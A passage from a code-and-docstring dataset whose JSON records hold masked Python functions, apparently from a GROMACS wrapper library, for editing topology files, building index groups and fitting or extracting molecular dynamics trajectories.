final)<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>", "docstring": "Primitive text file stream editor.\n\n    This function can be used to edit free-form text files such as the\n    topology file. By default it does an **in-place edit** of\n    *filename*. If *newname* is supplied then the edited\n    file is written to *newname*.\n\n    :Arguments:\n       *filename*\n           input text file\n       *substitutions*\n           substitution commands (see below for format)\n       *newname*\n           output filename; if ``None`` then *filename* is changed in\n           place [``None``]\n\n    *substitutions* is a list of triplets; the first two elements are regular\n    expression strings, the last is the substitution value. It mimics\n    ``sed`` search and replace. The rules for *substitutions*:\n\n    .. productionlist::\n       substitutions: \"[\" search_replace_tuple, ... \"]\"\n       search_replace_tuple: \"(\" line_match_RE \",\" search_RE \",\" replacement \")\"\n       line_match_RE: regular expression that selects the line (uses match)\n       search_RE: regular expression that is searched in the line\n       replacement: replacement string for search_RE\n\n    Running :func:`edit_txt` does pretty much what a simple ::\n\n         sed /line_match_RE/s/search_RE/replacement/\n\n    with repeated substitution commands does.\n\n    Special replacement values:\n    - ``None``: the rule is ignored\n    - ``False``: the line is deleted (even if other rules match)\n\n    .. note::\n\n       * No sanity checks are performed and the substitutions must be supplied\n         exactly as shown.\n       * All substitutions are applied to a line; thus the order of the substitution\n         commands may matter when one substitution generates a match for a subsequent rule.\n       * If replacement is set to ``None`` then the whole expression is ignored and\n         whatever is in the template is used. To unset values you must provided an\n         empty string or similar.\n       * Delete a matching line if replacement=``False``.", "id": "f6863:m11"}
{"signature": "def remove_molecules_from_topology(filename, **kwargs):", "body": "marker = kwargs.pop('<STR_LIT>', None)<EOL>if marker is None:<EOL><INDENT>marker = \"<STR_LIT>\"<EOL><DEDENT>logger.debug(\"<STR_LIT>\", vars())<EOL>p_marker = re.compile(\"<STR_LIT>\".format(marker))<EOL>p_molecule = re.compile(\"<STR_LIT>\")<EOL>with tempfile.TemporaryFile() as target:<EOL><INDENT>with open(filename, '<STR_LIT:rb>') as src:<EOL><INDENT>autogenerated = False<EOL>n_removed = <NUM_LIT:0><EOL>for line in src:<EOL><INDENT>line = line.decode('<STR_LIT:utf-8>')<EOL>if p_marker.match(line):<EOL><INDENT>autogenerated = True<EOL><DEDENT>if autogenerated and p_molecule.match(line):<EOL><INDENT>n_removed += <NUM_LIT:1><EOL>continue  <EOL><DEDENT>target.write(line.encode('<STR_LIT:utf-8>'))<EOL><DEDENT><DEDENT>if autogenerated and n_removed > <NUM_LIT:0>:<EOL><INDENT>target.seek(<NUM_LIT:0>)<EOL>with open(filename, '<STR_LIT:wb>') as final:   <EOL><INDENT>shutil.copyfileobj(target, final)<EOL><DEDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT><DEDENT>return n_removed<EOL>", "docstring": "Remove autogenerated [ molecules ] entries from *filename*.\n\n    Valid entries in ``[ molecules ]`` below the default *marker*\n    are removed. For example, a topology file such as ::\n\n       [ molecules ]\n       Protein    1\n       SOL      213\n       ; The next line is the marker!\n       ; Gromacs auto-generated entries follow:\n       SOL            12345\n       NA+     15\n       CL-      16\n       ; This is a comment that is NOT deleted.\n       SOL            333\n\n    would become::\n\n       [ molecules ]\n       Protein    1\n       SOL      213\n       ; The next line is the marker!\n       ; Gromacs auto-generated entries follow:\n       ; This is a comment that is NOT deleted.\n\n    Valid molecule lines look like ``SOL 1234``, ``NA 17`` etc. The\n    actual regular expression used is \"\\s*[\\w+_-]+\\s+\\d+\\s*(;.*)?$\".\n\n    In order to use this function, the marker line has to be manually\n    added to the topology file.\n\n    :Arguments:\n      *filename*\n         The topology file that includes the  ``[ molecules ]`` section.\n         It is **edited in place**.\n      *marker*\n         Any ``[ molecules ]`` entries below this pattern (python regular\n         expression) are removed. Leading white space is ignored. ``None``\n         uses the default as described above.", "id": "f6863:m12"}
{"signature": "def make_ndx_captured(**kwargs):", "body": "kwargs['<STR_LIT>']=False   <EOL>user_input = kwargs.pop('<STR_LIT:input>',[])<EOL>user_input = [cmd for cmd in user_input if cmd != '<STR_LIT:q>']  <EOL>kwargs['<STR_LIT:input>'] = user_input + ['<STR_LIT>', '<STR_LIT:q>']                <EOL>return gromacs.make_ndx(**kwargs)<EOL>", "docstring": "make_ndx that captures all output\n\n    Standard :func:`~gromacs.make_ndx` command with the input and\n    output pre-set in such a way that it can be conveniently used for\n    :func:`parse_ndxlist`.\n\n    Example::\n      ndx_groups = parse_ndxlist(make_ndx_captured(n=ndx)[0])\n\n    Note that the convenient :func:`get_ndx_groups` function does exactly\n    that and can probably used in most cases.\n\n    :Arguments:\n        keywords are passed on to :func:`~gromacs.make_ndx`\n    :Returns:\n        (*returncode*, *output*, ``None``)", "id": "f6863:m13"}
{"signature": "def get_ndx_groups(ndx, **kwargs):", "body": "fd, tmp_ndx = tempfile.mkstemp(suffix='<STR_LIT>')<EOL>kwargs['<STR_LIT:o>'] = tmp_ndx<EOL>try:<EOL><INDENT>g = parse_ndxlist(make_ndx_captured(n=ndx, **kwargs)[<NUM_LIT:1>])<EOL><DEDENT>finally:<EOL><INDENT>utilities.unlink_gmx(tmp_ndx)<EOL><DEDENT>return g<EOL>", "docstring": "Return a list of index groups in the index file *ndx*.\n\n    :Arguments:\n        - *ndx*  is a Gromacs index file.\n        - kwargs are passed to :func:`make_ndx_captured`.\n\n    :Returns:\n        list of groups as supplied by :func:`parse_ndxlist`\n\n    Alternatively, load the index file with\n    :class:`gromacs.formats.NDX` for full control.", "id": "f6863:m14"}
{"signature": "def parse_ndxlist(output):", "body": "m = NDXLIST.search(output)    <EOL>grouplist = m.group('<STR_LIT>')<EOL>return parse_groups(grouplist)<EOL>", "docstring": "Parse output from make_ndx to build list of index groups::\n\n      groups = parse_ndxlist(output)\n\n    output should be the standard output from ``make_ndx``, e.g.::\n\n       rc,output,junk = gromacs.make_ndx(..., input=('', 'q'), stdout=False, stderr=True)\n\n    (or simply use\n\n       rc,output,junk = cbook.make_ndx_captured(...)\n\n    which presets input, stdout and stderr; of course input can be overriden.)\n\n    :Returns:\n       The function returns a list of dicts (``groups``) with fields\n\n       name\n           name of the groups\n       nr\n           number of the group (starts at 0)\n       natoms\n           number of atoms in the group", "id": "f6863:m15"}
{"signature": "def parse_groups(output):", "body": "groups = []<EOL>for line in output.split('<STR_LIT:\\n>'):<EOL><INDENT>m = NDXGROUP.match(line)<EOL>if m:<EOL><INDENT>d = m.groupdict()<EOL>groups.append({'<STR_LIT:name>': d['<STR_LIT>'],<EOL>'<STR_LIT>': int(d['<STR_LIT>']),<EOL>'<STR_LIT>': int(d['<STR_LIT>'])})<EOL><DEDENT><DEDENT>return groups<EOL>", "docstring": "Parse ``make_ndx`` output and return groups as a list of dicts.", "id": "f6863:m16"}
{"signature": "def __init__(self, structure, trj, maxframes=None, format='<STR_LIT>', **kwargs):", "body": "self.structure = structure  <EOL>self.trj = trj              <EOL>self.maxframes = maxframes<EOL>if self.maxframes is not None:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>self.framedir = tempfile.mkdtemp(prefix=\"<STR_LIT>\", suffix='<STR_LIT:_>'+format)<EOL>self.frameprefix = os.path.join(self.framedir, '<STR_LIT>')<EOL>self.frametemplate = self.frameprefix + '<STR_LIT>' + '<STR_LIT:.>' + format  <EOL>self.frameglob = self.frameprefix + '<STR_LIT:*>' + '<STR_LIT:.>' + format<EOL>kwargs['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT:o>'] = self.frameprefix + '<STR_LIT:.>' + format<EOL>kwargs.setdefault('<STR_LIT:input>', ('<STR_LIT>',))<EOL>self.extractor = tools.Trjconv(s=self.structure, f=self.trj, **kwargs)<EOL>self.framenumber = <NUM_LIT:0><EOL>self.totalframes = <NUM_LIT:0><EOL>", "docstring": "Set up the Frames iterator.\n\n        :Arguments:\n           structure\n              name of a structure file (tpr, pdb, ...)\n           trj\n              name of the trajectory (xtc, trr, ...)\n           format\n              output format for the frames, eg \"pdb\" or \"gro\" [pdb]\n           maxframes : int\n             maximum number of frames that are extracted to disk at\n             one time; set to ``None`` to extract the whole trajectory\n             at once. [``None``]\n           kwargs\n             All other arguments are passed to\n             `class:~gromacs.tools.Trjconv`; the only options that\n             cannot be changed are *sep* and the output file name *o*.", "id": "f6863:c0:m0"}
{"signature": "def extract(self):", "body": "<EOL>self.extractor.run()<EOL>", "docstring": "Extract frames from the trajectory to the temporary directory.", "id": "f6863:c0:m1"}
{"signature": "@property<EOL><INDENT>def all_frames(self):<DEDENT>", "body": "return glob.glob(self.frameglob)<EOL>", "docstring": "Unordered list of all frames currently held on disk.", "id": "f6863:c0:m2"}
{"signature": "def __iter__(self):", "body": "frames = self.all_frames<EOL>if len(frames) == <NUM_LIT:0>:<EOL><INDENT>self.extract()<EOL>frames = self.all_frames<EOL><DEDENT>for i in xrange(len(frames)):<EOL><INDENT>self.framenumber = i<EOL>yield self.current_framename<EOL><DEDENT>self.totalframes += len(frames)<EOL>", "docstring": "Primitive iterator.", "id": "f6863:c0:m4"}
{"signature": "def delete_frames(self):", "body": "for frame in glob.glob(self.frameglob):<EOL><INDENT>os.unlink(frame)<EOL><DEDENT>", "docstring": "Delete all frames.", "id": "f6863:c0:m5"}
{"signature": "def cleanup(self):", "body": "shutil.rmtree(self.framedir)<EOL>self.framedir = None<EOL>", "docstring": "Clean up all temporary frames (which can be HUGE).", "id": "f6863:c0:m6"}
{"signature": "def __init__(self, struct=None, selections=None, names=None, name_all=None,<EOL>ndx=None, out_ndx=\"<STR_LIT>\", offset=<NUM_LIT:0>):", "body": "self.structure = struct<EOL>self.ndx = ndx<EOL>self.output = out_ndx<EOL>self.name_all = name_all<EOL>self.offset = offset<EOL>self._command_counter = <NUM_LIT:0><EOL>if selections is None:<EOL><INDENT>selections = []<EOL><DEDENT>if not utilities.iterable(selections):<EOL><INDENT>selections = [selections]<EOL><DEDENT>self.selections = selections<EOL>if names is None:<EOL><INDENT>names = [None] * len(selections)<EOL><DEDENT>self.make_ndx = tools.Make_ndx(f=self.structure, n=self.ndx,<EOL>stdout=False, stderr=False)<EOL>self.indexfiles = dict([self.parse_selection(selection, name)<EOL>for selection, name in zip(selections, names)])<EOL>", "docstring": "Build a index group from the selection arguments.\n\n        If selections and a structure file are supplied then the individual\n        selections are constructed with separate calls to\n        :func:`gromacs.make_ndx`. Use :meth:`IndexBuilder.combine` to combine\n        them into a joint selection or :meth:`IndexBuilder.write` to simply write\n        out the individual named selections (useful with *names*).\n\n        :Arguments:\n\n           *struct* : filename\n              Structure file (tpr, pdb, ...)\n\n           *selections* : list\n              The list must contain strings or tuples, which must be be one of\n              the following constructs:\n\n                 \"<1-letter aa code><resid>[:<atom name]\"\n\n                     Selects the CA of the residue or the specified atom\n                     name.\n\n                     example: ``\"S312:OA\"`` or ``\"A22\"`` (equivalent to ``\"A22:CA\"``)\n\n                 (\"<1-letter aa code><resid>\", \"<1-letter aa code><resid>, [\"<atom name>\"])\n\n                    Selects a *range* of residues. If only two residue\n                    identifiers are provided then all atoms are\n                    selected. With an optional third atom identifier,\n                    only this atom anme is selected for each residue\n                    in the range. [EXPERIMENTAL]\n\n                 \"@<make_ndx selection>\"\n\n                     The ``@`` letter introduces a verbatim ``make_ndx``\n                     command. It will apply the given selection without any\n                     further processing or checks.\n\n                     example: ``\"@a 6234 - 6238\"`` or ``'@\"SOL\"'`` (note the quoting)\n                     or ``\"@r SER & r 312 & t OA\"``.\n\n           *names* : list\n              Strings to name the selections; if not supplied or if individuals\n              are ``None`` then a default name is created. When simply using\n              :meth:`IndexBuilder.write` then these should be supplied.\n\n           *name_all* : string\n              Name of the group that is generated by :meth:`IndexBuilder.combine`.\n\n           *offset* : int, dict\n              This number is added to the resids in the first selection scheme; this\n              allows names to be the same as in a crystal structure. If offset is a\n              dict then it is used to directly look up the resids.\n\n           *ndx* : filename or list of filenames\n              Optional input index file(s).\n\n           *out_ndx* : filename\n              Output index file.", "id": "f6863:c1:m0"}
{"signature": "@property<EOL><INDENT>def names(self):<DEDENT>", "body": "return self.indexfiles.keys()<EOL>", "docstring": "Names of all generated index groups.", "id": "f6863:c1:m1"}
{"signature": "def gmx_resid(self, resid):", "body": "try:<EOL><INDENT>gmx_resid = int(self.offset[resid])<EOL><DEDENT>except (TypeError, IndexError):<EOL><INDENT>gmx_resid = resid + self.offset<EOL><DEDENT>except KeyError:<EOL><INDENT>raise KeyError(\"<STR_LIT>\".format(resid))<EOL><DEDENT>return gmx_resid<EOL>", "docstring": "Returns resid in the Gromacs index by transforming with offset.", "id": "f6863:c1:m2"}
{"signature": "def combine(self, name_all=None, out_ndx=None, operation='<STR_LIT:|>', defaultgroups=False):", "body": "if not operation in ('<STR_LIT:|>', '<STR_LIT:&>', False):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>operation))<EOL><DEDENT>if name_all is None and operation:<EOL><INDENT>name_all = self.name_all or operation.join(self.indexfiles)<EOL><DEDENT>if out_ndx is None:<EOL><INDENT>out_ndx = self.output<EOL><DEDENT>if defaultgroups:<EOL><INDENT>fd, default_ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix='<STR_LIT>')<EOL>try:<EOL><INDENT>self.make_ndx(o=default_ndx, input=['<STR_LIT:q>'])<EOL><DEDENT>except:<EOL><INDENT>utilities.unlink_gmx(default_ndx)<EOL>raise<EOL><DEDENT>ndxfiles = [default_ndx]<EOL><DEDENT>else:<EOL><INDENT>ndxfiles = []<EOL><DEDENT>ndxfiles.extend(self.indexfiles.values())<EOL>if operation:<EOL><INDENT>try:<EOL><INDENT>fd, tmp_ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix='<STR_LIT>')<EOL>operation = '<STR_LIT:U+0020>'+operation.strip()+'<STR_LIT:U+0020>'<EOL>cmd = [operation.join(['<STR_LIT>'.format(gname) for gname in self.indexfiles]),<EOL>'<STR_LIT>', '<STR_LIT:q>']<EOL>rc,out,err = self.make_ndx(n=ndxfiles, o=tmp_ndx, input=cmd)<EOL>if self._is_empty_group(out):<EOL><INDENT>warnings.warn(\"<STR_LIT>\".format(**vars()),<EOL>category=BadParameterWarning)<EOL><DEDENT>groups = parse_ndxlist(out)<EOL>last = groups[-<NUM_LIT:1>]<EOL>name_cmd = [\"<STR_LIT>\".format(last['<STR_LIT>'], name_all), '<STR_LIT:q>']<EOL>rc,out,err = self.make_ndx(n=tmp_ndx, o=out_ndx, input=name_cmd)<EOL><DEDENT>finally:<EOL><INDENT>utilities.unlink_gmx(tmp_ndx)<EOL>if defaultgroups:<EOL><INDENT>utilities.unlink_gmx(default_ndx)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rc,out,err = self.make_ndx(n=ndxfiles, o=out_ndx, input=['<STR_LIT>','<STR_LIT:q>'])<EOL><DEDENT>return name_all, out_ndx<EOL>", "docstring": "Combine individual groups into a single one and write output.\n\n        :Keywords:\n           name_all : string\n              Name of the combined group, ``None`` generates a name.  [``None``]\n           out_ndx : filename\n              Name of the output file that will contain the individual groups\n              and the combined group. If ``None`` then default from the class\n              constructor is used. [``None``]\n           operation : character\n              Logical operation that is used to generate the combined group from\n              the individual groups: \"|\" (OR) or \"&\" (AND); if set to ``False``\n              then no combined group is created and only the individual groups\n              are written. [\"|\"]\n           defaultgroups : bool\n              ``True``: append everything to the default groups produced by\n              :program:`make_ndx` (or rather, the groups provided in the ndx file on\n              initialization --- if this was ``None`` then these are truly default groups);\n              ``False``: only use the generated groups\n\n        :Returns:\n           ``(combinedgroup_name, output_ndx)``, a tuple showing the\n           actual group name and the name of the file; useful when all names are autogenerated.\n\n        .. Warning:: The order of the atom numbers in the combined group is\n                     *not* guaranteed to be the same as the selections on input because\n                     ``make_ndx`` sorts them ascending. Thus you should be careful when\n                     using these index files for calculations of angles and dihedrals.\n                     Use :class:`gromacs.formats.NDX` in these cases.\n\n        .. SeeAlso:: :meth:`IndexBuilder.write`.", "id": "f6863:c1:m3"}
{"signature": "def write(self, out_ndx=None, defaultgroups=False):", "body": "name_all, out_ndx = self.combine(operation=False, out_ndx=out_ndx, defaultgroups=defaultgroups)<EOL>return out_ndx<EOL>", "docstring": "Write individual (named) groups to *out_ndx*.", "id": "f6863:c1:m4"}
{"signature": "def cat(self, out_ndx=None):", "body": "if out_ndx is None:<EOL><INDENT>out_ndx = self.output<EOL><DEDENT>self.make_ndx(o=out_ndx, input=['<STR_LIT:q>'])<EOL>return out_ndx<EOL>", "docstring": "Concatenate input index files.\n\n        Generate a new index file that contains the default Gromacs index\n        groups (if a structure file was defined) and all index groups from the\n        input index files.\n\n        :Arguments:\n           out_ndx : filename\n              Name of the output index file; if ``None`` then use the default\n              provided to the constructore. [``None``].", "id": "f6863:c1:m5"}
{"signature": "def parse_selection(self, selection, name=None):", "body": "if type(selection) is tuple:<EOL><INDENT>process = self._process_range<EOL><DEDENT>elif selection.startswith('<STR_LIT:@>'):<EOL><INDENT>process = self._process_command<EOL>selection = selection[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>process = self._process_residue<EOL><DEDENT>return process(selection, name)<EOL>", "docstring": "Retuns (groupname, filename) with index group.", "id": "f6863:c1:m6"}
{"signature": "def _process_command(self, command, name=None):", "body": "self._command_counter += <NUM_LIT:1><EOL>if name is None:<EOL><INDENT>name = \"<STR_LIT>\".format(self._command_counter)<EOL><DEDENT>try:<EOL><INDENT>fd, tmp_ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix='<STR_LIT>'+name+'<STR_LIT>')<EOL>cmd = [command, '<STR_LIT>', '<STR_LIT:q>']   <EOL>rc,out,err = self.make_ndx(o=tmp_ndx, input=cmd)<EOL>self.check_output(out, \"<STR_LIT>\".format(**vars()), err=err)<EOL>groups = parse_ndxlist(out)<EOL>last = groups[-<NUM_LIT:1>]<EOL>fd, ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix=name+'<STR_LIT>')<EOL>name_cmd = [\"<STR_LIT>\".format(last['<STR_LIT>']),<EOL>\"<STR_LIT>\".format(name), '<STR_LIT:q>']<EOL>rc,out,err = self.make_ndx(n=tmp_ndx, o=ndx, input=name_cmd)<EOL><DEDENT>finally:<EOL><INDENT>utilities.unlink_gmx(tmp_ndx)<EOL><DEDENT>return name, ndx<EOL>", "docstring": "Process ``make_ndx`` command and  return name and temp index file.", "id": "f6863:c1:m7"}
{"signature": "def _process_residue(self, selection, name=None):", "body": "if name is None:<EOL><INDENT>name = selection.replace('<STR_LIT::>', '<STR_LIT:_>')<EOL><DEDENT>m = self.RESIDUE.match(selection)<EOL>if not m:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>gmx_resid = self.gmx_resid(int(m.group('<STR_LIT>')))<EOL>residue = m.group('<STR_LIT>')<EOL>if len(residue) == <NUM_LIT:1>:<EOL><INDENT>gmx_resname = utilities.convert_aa_code(residue) <EOL><DEDENT>else:<EOL><INDENT>gmx_resname = residue                            <EOL><DEDENT>gmx_atomname = m.group('<STR_LIT>')<EOL>if gmx_atomname is None:<EOL><INDENT>gmx_atomname = '<STR_LIT>'<EOL><DEDENT>_selection = '<STR_LIT>'.format(**vars())<EOL>cmd = ['<STR_LIT>', '<STR_LIT>',<EOL>_selection,<EOL>'<STR_LIT>'.format(**vars()),<EOL>'<STR_LIT:q>']<EOL>fd, ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix=name+'<STR_LIT>')<EOL>rc,out,err = self.make_ndx(n=self.ndx, o=ndx, input=cmd)<EOL>self.check_output(out, \"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL>return name, ndx<EOL>", "docstring": "Process residue/atom selection and return name and temp index file.", "id": "f6863:c1:m8"}
{"signature": "def _process_range(self, selection, name=None):", "body": "try:<EOL><INDENT>first, last, gmx_atomname = selection<EOL><DEDENT>except ValueError:<EOL><INDENT>try:<EOL><INDENT>first, last = selection<EOL>gmx_atomname = '<STR_LIT:*>'<EOL><DEDENT>except:<EOL><INDENT>logger.error(\"<STR_LIT>\", selection)<EOL>raise<EOL><DEDENT><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\".format(**vars())<EOL><DEDENT>_first = self._translate_residue(first, default_atomname=gmx_atomname)<EOL>_last = self._translate_residue(last, default_atomname=gmx_atomname)<EOL>_selection = '<STR_LIT>'.format(_first['<STR_LIT>'], _last['<STR_LIT>'], gmx_atomname)<EOL>cmd = ['<STR_LIT>', '<STR_LIT>',<EOL>_selection,<EOL>'<STR_LIT>'.format(**vars()),<EOL>'<STR_LIT:q>']<EOL>fd, ndx = tempfile.mkstemp(suffix='<STR_LIT>', prefix=name+'<STR_LIT>')<EOL>rc,out,err = self.make_ndx(n=self.ndx, o=ndx, input=cmd)<EOL>self.check_output(out, \"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL>return name, ndx<EOL>", "docstring": "Process a range selection.\n\n        (\"S234\", \"A300\", \"CA\")   --> selected all CA in this range\n        (\"S234\", \"A300\")         --> selected all atoms in this range\n\n        .. Note:: Ignores residue type, only cares about the resid (but still required)", "id": "f6863:c1:m9"}
{"signature": "def _translate_residue(self, selection, default_atomname='<STR_LIT>'):", "body": "m = self.RESIDUE.match(selection)<EOL>if not m:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(**vars())<EOL>logger.error(errmsg)<EOL>raise ValueError(errmsg)<EOL><DEDENT>gmx_resid = self.gmx_resid(int(m.group('<STR_LIT>')))    <EOL>residue = m.group('<STR_LIT>')<EOL>if len(residue) == <NUM_LIT:1>:<EOL><INDENT>gmx_resname = utilities.convert_aa_code(residue) <EOL><DEDENT>else:<EOL><INDENT>gmx_resname = residue                            <EOL><DEDENT>gmx_atomname = m.group('<STR_LIT>')<EOL>if gmx_atomname is None:<EOL><INDENT>gmx_atomname = default_atomname<EOL><DEDENT>return {'<STR_LIT>':gmx_resname, '<STR_LIT>':gmx_resid, '<STR_LIT>':gmx_atomname}<EOL>", "docstring": "Translate selection for a single res to make_ndx syntax.", "id": "f6863:c1:m10"}
{"signature": "def check_output(self, make_ndx_output, message=None, err=None):", "body": "if message is None:<EOL><INDENT>message = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>message = '<STR_LIT:\\n>' + message<EOL><DEDENT>def format(output, w=<NUM_LIT>):<EOL><INDENT>hrule = \"<STR_LIT>\".ljust(w,\"<STR_LIT:=>\")<EOL>return hrule + '<STR_LIT:\\n>' + str(output) + hrule<EOL><DEDENT>rc = True<EOL>if self._is_empty_group(make_ndx_output):<EOL><INDENT>warnings.warn(\"<STR_LIT>\".format(**vars()), category=GromacsValueWarning)<EOL>rc = False<EOL><DEDENT>if self._has_syntax_error(make_ndx_output):<EOL><INDENT>rc = False<EOL>out_formatted = format(make_ndx_output)<EOL>raise GromacsError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT>if make_ndx_output.strip() == \"<STR_LIT>\":<EOL><INDENT>rc = False<EOL>out_formatted = format(err)<EOL>raise GromacsError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % vars())<EOL><DEDENT>return rc<EOL>", "docstring": "Simple tests to flag problems with a ``make_ndx`` run.", "id": "f6863:c1:m11"}
{"signature": "def __init__(self, s=\"<STR_LIT>\", f=\"<STR_LIT>\", n=None, force=None,<EOL>dirname=os.path.curdir, outdir=None):", "body": "self.tpr = self.filename(s, ext=\"<STR_LIT>\", use_my_ext=True)<EOL>self.xtc = self.filename(f, ext=\"<STR_LIT>\", use_my_ext=True)<EOL>self.ndx = n<EOL>self.dirname = dirname<EOL>self.outdir = utilities.realpath(outdir) if outdir is not None else None<EOL>self.force = force<EOL>self.nowater = {}     <EOL>self.proteinonly = {} <EOL>with utilities.in_dir(self.dirname, create=False):<EOL><INDENT>for f in (self.tpr, self.xtc, self.ndx):<EOL><INDENT>if f is None:<EOL><INDENT>continue<EOL><DEDENT>if not os.path.exists(f):<EOL><INDENT>msg = \"<STR_LIT>\".format(**vars())<EOL>warnings.warn(msg, category=MissingDataWarning)<EOL>logger.warn(msg)<EOL><DEDENT><DEDENT><DEDENT>logger.info(\"<STR_LIT>\", self)<EOL>", "docstring": "Set up Transformer with structure and trajectory.\n\n        Supply *n* = tpr, *f* = xtc (and *n* = ndx) relative to dirname.\n\n        :Keywords:\n           *s*\n              tpr file (or similar); note that this should not contain\n              position restraints if it is to be used with a reduced\n              system (see :meth:`~Transformer.strip_water`)\n           *f*\n              trajectory (xtc, trr, ...)\n           *n*\n              index file (it is typically safe to leave this as ``None``; in\n              cases where a trajectory needs to be centered on non-standard\n              groups this should contain those groups)\n           *force*\n              Set the default behaviour for handling existing files:\n                - ``True``: overwrite existing trajectories\n                - ``False``: throw a IOError exception\n                - ``None``: skip existing and log a warning [default]\n           *dirname*\n              directory in which all operations are performed, relative paths\n              are interpreted relative to *dirname* [.]\n           *outdir*\n              directory under which output files are placed; by default\n              the same directory where the input files live", "id": "f6863:c2:m0"}
{"signature": "def outfile(self, p):", "body": "if self.outdir is not None:<EOL><INDENT>return os.path.join(self.outdir, os.path.basename(p))<EOL><DEDENT>else:<EOL><INDENT>return p<EOL><DEDENT>", "docstring": "Path for an output file.\n\n        If :attr:`outdir` is set then the path is\n        ``outdir/basename(p)`` else just ``p``", "id": "f6863:c2:m2"}
{"signature": "def rp(self, *args):", "body": "try:<EOL><INDENT>p = os.path.join(*args)<EOL>if os.path.isabs(p):<EOL><INDENT>return p<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>return utilities.realpath(self.dirname, *args)<EOL>", "docstring": "Return canonical path to file under *dirname* with components *args*\n\n         If *args* form an absolute path then just return it as the absolute path.", "id": "f6863:c2:m3"}
{"signature": "def center_fit(self, **kwargs):", "body": "kwargs.setdefault('<STR_LIT:s>', self.tpr)<EOL>kwargs.setdefault('<STR_LIT:n>', self.ndx)<EOL>kwargs['<STR_LIT:f>'] = self.xtc<EOL>kwargs.setdefault('<STR_LIT:o>', self.outfile(self.infix_filename(None, self.xtc, '<STR_LIT>', '<STR_LIT>')))<EOL>force = kwargs.pop('<STR_LIT>', self.force)<EOL>logger.info(\"<STR_LIT>\".format(**kwargs))<EOL>with utilities.in_dir(self.dirname):<EOL><INDENT>if not self.check_file_exists(kwargs['<STR_LIT:o>'], resolve=\"<STR_LIT>\", force=force):<EOL><INDENT>trj_fitandcenter(**kwargs)<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(**kwargs))<EOL><DEDENT>return {'<STR_LIT>': self.rp(kwargs['<STR_LIT:s>']), '<STR_LIT>': self.rp(kwargs['<STR_LIT:o>'])}<EOL>", "docstring": "Write compact xtc that is fitted to the tpr reference structure.\n\n        See :func:`gromacs.cbook.trj_fitandcenter` for details and\n        description of *kwargs* (including *input*, *input1*, *n* and\n        *n1* for how to supply custom index groups). The most important ones are listed\n        here but in most cases the defaults should work.\n\n        :Keywords:\n           *s*\n             Input structure (typically the default tpr file but can be set to\n             some other file with a different conformation for fitting)\n           *n*\n             Alternative index file.\n           *o*\n             Name of the output trajectory.\n           *xy* : Boolean\n             If ``True`` then only fit in xy-plane (useful for a membrane normal\n             to z). The default is ``False``.\n           *force*\n             - ``True``: overwrite existing trajectories\n             - ``False``: throw a IOError exception\n             - ``None``: skip existing and log a warning [default]\n\n        :Returns:\n              dictionary with keys *tpr*, *xtc*, which are the names of the\n              the new files", "id": "f6863:c2:m4"}
{"signature": "def fit(self, xy=False, **kwargs):", "body": "kwargs.setdefault('<STR_LIT:s>', self.tpr)<EOL>kwargs.setdefault('<STR_LIT:n>', self.ndx)<EOL>kwargs['<STR_LIT:f>'] = self.xtc<EOL>force = kwargs.pop('<STR_LIT>', self.force)<EOL>if xy:<EOL><INDENT>fitmode = '<STR_LIT>'<EOL>kwargs.pop('<STR_LIT>', None)<EOL>infix_default = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>fitmode = kwargs.pop('<STR_LIT>', '<STR_LIT>')  <EOL>infix_default = '<STR_LIT>'<EOL><DEDENT>dt = kwargs.get('<STR_LIT>')<EOL>if dt:<EOL><INDENT>infix_default += '<STR_LIT>'.format(int(dt))    <EOL><DEDENT>kwargs.setdefault('<STR_LIT:o>', self.outfile(self.infix_filename(None, self.xtc, infix_default, '<STR_LIT>')))<EOL>fitgroup = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>kwargs.setdefault('<STR_LIT:input>', [fitgroup, \"<STR_LIT>\"])<EOL>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>logger.warn(\"<STR_LIT>\", kwargs)<EOL>if len(kwargs['<STR_LIT>']) != <NUM_LIT:3>:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>raise ValuError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\", kwargs['<STR_LIT:f>'], xy)<EOL>logger.info(\"<STR_LIT>\", vars())<EOL>with utilities.in_dir(self.dirname):<EOL><INDENT>if self.check_file_exists(kwargs['<STR_LIT:o>'], resolve=\"<STR_LIT>\", force=force):<EOL><INDENT>logger.warn(\"<STR_LIT>\", kwargs['<STR_LIT:o>'])<EOL><DEDENT>else:<EOL><INDENT>gromacs.trjconv(fit=fitmode, **kwargs)<EOL>logger.info(\"<STR_LIT>\", fitmode, kwargs['<STR_LIT:o>'])<EOL><DEDENT><DEDENT>return {'<STR_LIT>': self.rp(kwargs['<STR_LIT:s>']), '<STR_LIT>': self.rp(kwargs['<STR_LIT:o>'])}<EOL>", "docstring": "Write xtc that is fitted to the tpr reference structure.\n\n        Runs :class:`gromacs.tools.trjconv` with appropriate arguments\n        for fitting. The most important *kwargs* are listed\n        here but in most cases the defaults should work.\n\n        Note that the default settings do *not* include centering or\n        periodic boundary treatment as this often does not work 